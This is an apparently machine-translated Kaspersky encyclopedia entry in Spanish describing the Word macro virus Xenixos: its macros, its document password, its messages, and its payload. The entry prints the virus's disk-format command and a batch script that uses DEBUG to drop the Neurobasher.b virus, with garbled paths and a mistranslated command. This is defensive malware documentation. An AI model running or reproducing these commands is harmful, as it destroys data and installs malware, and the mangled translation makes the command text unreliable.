Kaspersky Threats

Clase

Plataforma

Descripción

Detalles técnicos

Es virus cifrado. Contiene las macros:



Drop, Dummy, AutoExec, AutoOpen, Datei�ffnen, ExtrasMakro, DateiBeenden,

DateiDrucken, DateiSpeichern, DateiSpeichernUnter, DateiDruckenStandard.

En algunos casos, establece la contraseña "xenixos" para los documentos infectados, muestra el mensaje:



Diese Option ist derzeit leider nicht verf�gbar.

Fehler

Al imprimir los documentos, agrega:



Presentado por Nemesis Corporation, L1996

El 1 de mayo, el virus escribe la cadena en el archivo AUTOEXEC.BAT:



@echo j | formato c: / u> nul

Este virus también lanza el virus multipartito "Neurobasher.b". Para hacer eso, el virus crea el archivo C: DOSSCRIPT.SCR y escribe el volcado hexadecimal de ese virus allí. Luego, el virus crea el archivo C: DOSEXEC.BAT y escribe las cadenas allí:



@echo off

debug <script.scr> nul

rem debugger.com

echo @c: dosdebugger.exe >> c: autoexec.bat

del c: dosscript.scr

del c: dosexec.bat

Entonces el virus ejecuta ese archivo. Como resultado, DEBUG.EXE crea el archivo DEBUGGER.EXE y C: AUTOEXEC.BAT tiene una nueva cadena al final:



@c: dosdebugger.exe

Entonces, el último comando de AUTOEXEC.BAT lanza el gotero del virus "Neurobasher.b".

Enlace al original

Descubra las estadísticas de las amenazas que se propagan en su región

Clase	Virus
Plataforma	MSWord
Descripción	Detalles técnicos Es virus cifrado. Contiene las macros: Drop, Dummy, AutoExec, AutoOpen, Datei�ffnen, ExtrasMakro, DateiBeenden, DateiDrucken, DateiSpeichern, DateiSpeichernUnter, DateiDruckenStandard. En algunos casos, establece la contraseña "xenixos" para los documentos infectados, muestra el mensaje: Diese Option ist derzeit leider nicht verf�gbar. Fehler Al imprimir los documentos, agrega: Presentado por Nemesis Corporation, L1996 El 1 de mayo, el virus escribe la cadena en el archivo AUTOEXEC.BAT: @echo j \| formato c: / u> nul Este virus también lanza el virus multipartito "Neurobasher.b". Para hacer eso, el virus crea el archivo C: DOSSCRIPT.SCR y escribe el volcado hexadecimal de ese virus allí. Luego, el virus crea el archivo C: DOSEXEC.BAT y escribe las cadenas allí: @echo off debug <script.scr> nul rem debugger.com echo @c: dosdebugger.exe >> c: autoexec.bat del c: dosscript.scr del c: dosexec.bat Entonces el virus ejecuta ese archivo. Como resultado, DEBUG.EXE crea el archivo DEBUGGER.EXE y C: AUTOEXEC.BAT tiene una nueva cadena al final: @c: dosdebugger.exe Entonces, el último comando de AUTOEXEC.BAT lanza el gotero del virus "Neurobasher.b".
	Enlace al original
	Descubra las estadísticas de las amenazas que se propagan en su región

Virus.MSWord.Xenixos

Detalles técnicos